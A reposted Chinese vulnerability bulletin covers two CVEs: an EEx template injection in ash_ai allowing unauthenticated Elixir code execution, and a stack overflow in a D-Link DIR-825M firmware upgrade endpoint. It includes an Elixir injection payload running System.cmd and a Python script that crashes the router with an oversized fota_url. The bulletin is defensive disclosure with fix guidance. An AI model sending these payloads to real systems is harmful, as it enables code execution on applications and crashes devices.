每日漏洞推送ash_aiprompt函数EEx模板注入→未认证远程Elixir代码执行

admin 2026-09-12 04:43:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档推送两个高危漏洞:CVE-2026-77956为ash_ai的EEx模板注入致未认证远程Elixir代码执行,CVSS10.0,需升级至含commite9948254版本并审计prompt函数用法;CVE-2026-82593为D-LinkDIR-825M固件升级接口栈溢出致远程RCE,CVSS9.9且Exploit已公开,建议关注官方固件更新并限制管理接口暴露。两者均需紧急修复。 综合评分: 88 文章分类: 漏洞分析,应急响应,漏洞预警,安全工具


每日漏洞推送 ash_ai prompt 函数 EEx 模板注入 → 未认证远程 Elixir 代码执行

原创

nullchen nullchen

富贵学安全

2026年8月31日 10:19 陕西

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

📡 每日漏洞情报推送 | 2026-08-31(周一)


🔴 漏洞一:CVE-2026-77956 — ash_ai prompt 函数 EEx 模板注入 → 未认证远程 Elixir 代码执行(CVSS 4.0 = 10.0)

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-77956(GHSA-2g59-hg7m-qc83) | | 影响产品 | ash-project ash_ai(Elixir Ash 框架的 AI/LLM 集成扩展,含 AshAi.Actions.Prompt 的所有版本) | | 漏洞类型 | 代码注入 (CWE-94) → 远程 Elixir 代码执行 | | CVSS | 10.0 (CRITICAL) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H | | 发现者 | Erlang 生态系统安全公告(cna.erlef.org) | | 修复版本 | commit e9948254(2026-08-30 修复) | | 在野利用 | ⚠️ 暂无公开确认,利用条件苛刻但后果为完整 RCE |

🔥 紧急程度

ash_ai 是 Elixir 生态中 Ash 框架的官方 AI 扩展,提供 prompt action 类型用于在业务资源上调用 LLM。漏洞根因AshAi.Actions.Prompt 在 build_context/3 中支持两种 prompt 形态——静态字符串/列表,以及函数形式fn input, context -> ... end。函数形式返回的 prompt 内容(常由 action 参数、即用户输入拼接而成)会继续流入 normalize_to_context/3,最终被 EEx.eval_string/2 当作 EEx 模板编译执行

也就是说:当开发者用函数形式把请求数据(input.arguments.text 之类)拼进 prompt 时,攻击者提交的文本会被当成 Elixir 源码编译运行,形成一条未认证远程代码执行链

用户输入 ──> prompt 函数返回值(拼接了攻击者文本)
         ──> normalize_to_context(prompt, input, context)
         ──> EEx.eval_string(prompt, assigns: [...])  ← Elixir 源码编译执行
         ──> 任意 Elixir 代码执行(System.cmd/File.write!/网络外联...)

影响面:任何使用 ash_ai prompt action 且 prompt 内容引用了 action 参数(用户可控数据)的应用。由于 Elixir 运行在 BEAM 虚拟机,代码执行等价于应用进程完全控制(读环境变量/密钥、访问数据库、横向移动)。

📝 漏洞描述

修复 commit e9948254(”fix: don’t evaluate runtime prompt content as EEx templates”)明确说明:函数形式 prompt 的返回内容是在运行时产生的、经常由 action 参数(用户输入)构成,若再经 EEx 求值等于把攻击者文本编译为 Elixir 源码(RCE)。修复后:

  • 函数形式(func.(input, context))返回的内容原样使用,不再 EEx 求值normalize_to_context(..., false));
  • 静态配置的 prompt 字符串/列表才走 EEx 模板(maybe_eval_template(content, input, context, true))。
# 修复前(≤ commit e9948254 之前):
defp build_context(input, opts, context) do
  prompt = Keyword.get(opts, :prompt, @prompt_template)
  prompt_value =
    case prompt do
      func when is_function(func, 2) -> func.(input, context)
      other -> other
    end
  normalize_to_context(prompt_value, input, context)   # ← 无条件 EEx 求值
end

# 修复后:
defp build_context(input, opts, context) do
  prompt = Keyword.get(opts, :prompt, @prompt_template)
  case prompt do
    func when is_function(func, 2) ->
      normalize_to_context(func.(input, context), input, context, false)  # ← 不再求值
    other ->
      normalize_to_context(other, input, context, true)
  end
end
# 新增:
defp maybe_eval_template(content, _input, _context, false), do: content

利用条件:远程、未认证(只要应用的 prompt action 对外暴露且其函数 prompt 拼接了用户输入)。

实际影响

  • 任意 Elixir 代码执行(BEAM 进程权限)
  • 读取应用密钥/数据库凭据、执行系统命令
  • 通过 BEAM 分布式/网络能力横向移动

💻 PoC/EXP

1️⃣ 漏洞触发验证(Elixir 测试代码)

# CVE-2026-77956 漏洞触发原理验证(本地/授权环境)
# 场景: prompt action 的函数形式返回内容拼接了用户输入
# 攻击者提交: <%= System.cmd("id", []) |> elem(0) %>

defmodule&nbsp;VulnDemo&nbsp;do
&nbsp; # 模拟修复前的 AshAi.Actions.Prompt.build_context 行为
&nbsp; def&nbsp;build_context(input) do
&nbsp; &nbsp; prompt = fn input, _context ->
&nbsp; &nbsp; &nbsp; # 开发者把用户输入拼进 prompt —— 攻击者文本进入这里
&nbsp; &nbsp; &nbsp; "请分析用户提交的内容: #{input.arguments.text}"
&nbsp; &nbsp; end

&nbsp; &nbsp; prompt_value = prompt.(input, %{})
&nbsp; &nbsp; # 修复前: 无条件 EEx 求值 → 攻击者文本被当作 Elixir 源码编译执行
&nbsp; &nbsp; EEx.eval_string(prompt_value,&nbsp;assigns:&nbsp;[input:&nbsp;input,&nbsp;context:&nbsp;%{}])
&nbsp; end

&nbsp; def&nbsp;test&nbsp;do
&nbsp; &nbsp; # 攻击者输入(payload 内嵌 EEx 表达式)
&nbsp; &nbsp; evil_input = %{arguments:&nbsp;%{text:&nbsp;"<%= System.cmd(\"id\", []) |> elem(0) %>"}}
&nbsp; &nbsp; IO.puts("=== 触发结果 ===")
&nbsp; &nbsp; IO.puts(build_context(evil_input))
&nbsp; end
end

VulnDemo.test()
# 修复前输出: 包含 "uid=...(elixir)" 等命令执行结果
# 修复后: 原样输出字符串,不执行

2️⃣ 修复验证

# 升级到包含 commit e9948254 的版本后,函数 prompt 内容不再 EEx 求值
# 验证方式: 向 prompt action 提交 <%%= System.cmd("id", []) %%> 文本
# 修复前: 返回命令执行结果
# 修复后: 返回字面文本,无执行

🛡️ 修复建议

  • 升级:将 ash_ai 更新到包含 commit e9948254 的版本(2026-08-30 修复);
  • 代码审计:检查所有 prompt: 函数形式用法,确认是否把 action 参数(用户输入)拼入返回内容;改为静态模板 + 显式参数绑定;
  • 临时缓解:在 prompt 函数内部对用户输入做转义/白名单过滤,避免原始文本进入模板求值路径;
  • 关注 GHSA-2g59-hg7m-qc83 后续补丁与版本发布。

🔴 漏洞二:CVE-2026-82593 — D-Link DIR-825M LTE 固件升级接口栈溢出(CVSS 3.1 = 9.9,远程 RCE,Exploit 已公开)

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-82593 | | 影响产品 | D-Link DIR-825M 1.1.8(LTE 路由器) | | 漏洞类型 | 栈缓冲区溢出 (CWE-119) → 远程代码执行 | | CVSS | 9.9 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | | 发现者 | VulDB / Robots10(公开报告,含完整分析) | | 修复版本 | 官方暂未发布(需关注 D-Link 固件更新) | | 在野利用 | ⚠️ Exploit 已公开E:P),可直接武器化 |

🔥 紧急程度

D-Link DIR-825M 的 LTE 模块固件升级端点/boafrm/formLtefotaUpgradeFibocom 中,函数 sub_41802C 处理 fota_url 参数时存在栈缓冲区溢出。攻击者(需要低权限,通常指已进入管理网络的用户)可远程发送超长 fota_url 触发溢出,实现远程代码执行。Exploit 已公开,且 DIR-825M 常作为家庭/小型办公 LTE 网关部署,一旦被攻破可成为内网跳板。

📝 漏洞描述

问题位于组件 LTE Module Firmware Upgrade(LTE 模块固件升级),端点 /boafrm/formLtefotaUpgradeFibocom 的 sub_41802C 函数未对 fota_url 参数做长度校验即复制到栈缓冲区,导致栈溢出。攻击者可利用经典的栈溢出技术(覆盖返回地址/ROP)实现任意代码执行。参考报告:Robots10/IoT_vlu/reports/Dlink/formLtefotaUpgradeFibocom

💻 PoC/EXP

#!/usr/bin/env python3
"""
CVE-2026-82593 — D-Link DIR-825M formLtefotaUpgradeFibocom 栈溢出 PoC(崩溃验证)
原理: fota_url 参数超长 → sub_41802C 栈缓冲区溢出
注意: 仅用于授权安全测试!触发后设备可能崩溃/重启。
"""
importsocket,&nbsp;sys

HOST=sys.argv[1]&nbsp;iflen(sys.argv)&nbsp;>1else"192.168.0.1"
PORT=80

# 超长 fota_url(栈溢出触发;正式利用时在此构造 ROP/返回地址覆盖)
evil_url=b"http://"+b"A"*2048
body=b"fota_url="+evil_url
req=&nbsp;(
&nbsp; &nbsp;&nbsp;b"POST /boafrm/formLtefotaUpgradeFibocom HTTP/1.1\r\n"
&nbsp; &nbsp;&nbsp;b"Host: "+HOST.encode()&nbsp;+b"\r\n"
&nbsp; &nbsp;&nbsp;b"Content-Type: application/x-www-form-urlencoded\r\n"
&nbsp; &nbsp;&nbsp;b"Content-Length: "+str(len(body)).encode()&nbsp;+b"\r\n"
&nbsp; &nbsp;&nbsp;b"Connection: close\r\n\r\n"+body
)

s=socket.socket(socket.AF_INET,&nbsp;socket.SOCK_STREAM)
s.settimeout(10)
try:
&nbsp; &nbsp;&nbsp;s.connect((HOST,&nbsp;PORT))
&nbsp; &nbsp;&nbsp;s.sendall(req)
&nbsp; &nbsp;&nbsp;resp=s.recv(4096)
&nbsp; &nbsp;&nbsp;print(f"[*] 响应:&nbsp;{resp[:200]}")
&nbsp; &nbsp;&nbsp;print("[!] 若设备无响应/崩溃/重启 → 存在栈溢出,可进一步构造 RCE")
exceptExceptionase:
&nbsp; &nbsp;&nbsp;print(f"[*] 连接异常(设备可能已崩溃):&nbsp;{e}")
finally:
&nbsp; &nbsp;&nbsp;s.close()

🛡️ 修复建议

  • 关注 D-Link 官方固件更新并及时升级(当前 1.1.8 受影响);
  • 将设备管理接口限制在可信网络,禁止暴露公网
  • 关闭/限制 LTE 固件升级功能的未授权访问;
  • 监控设备日志中异常 formLtefotaUpgradeFibocom 请求。

⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 ash_ai prompt 函数 EEx 模板注入 → 未认证远程 Elixir 代码执行》

    评论:0   参与:  0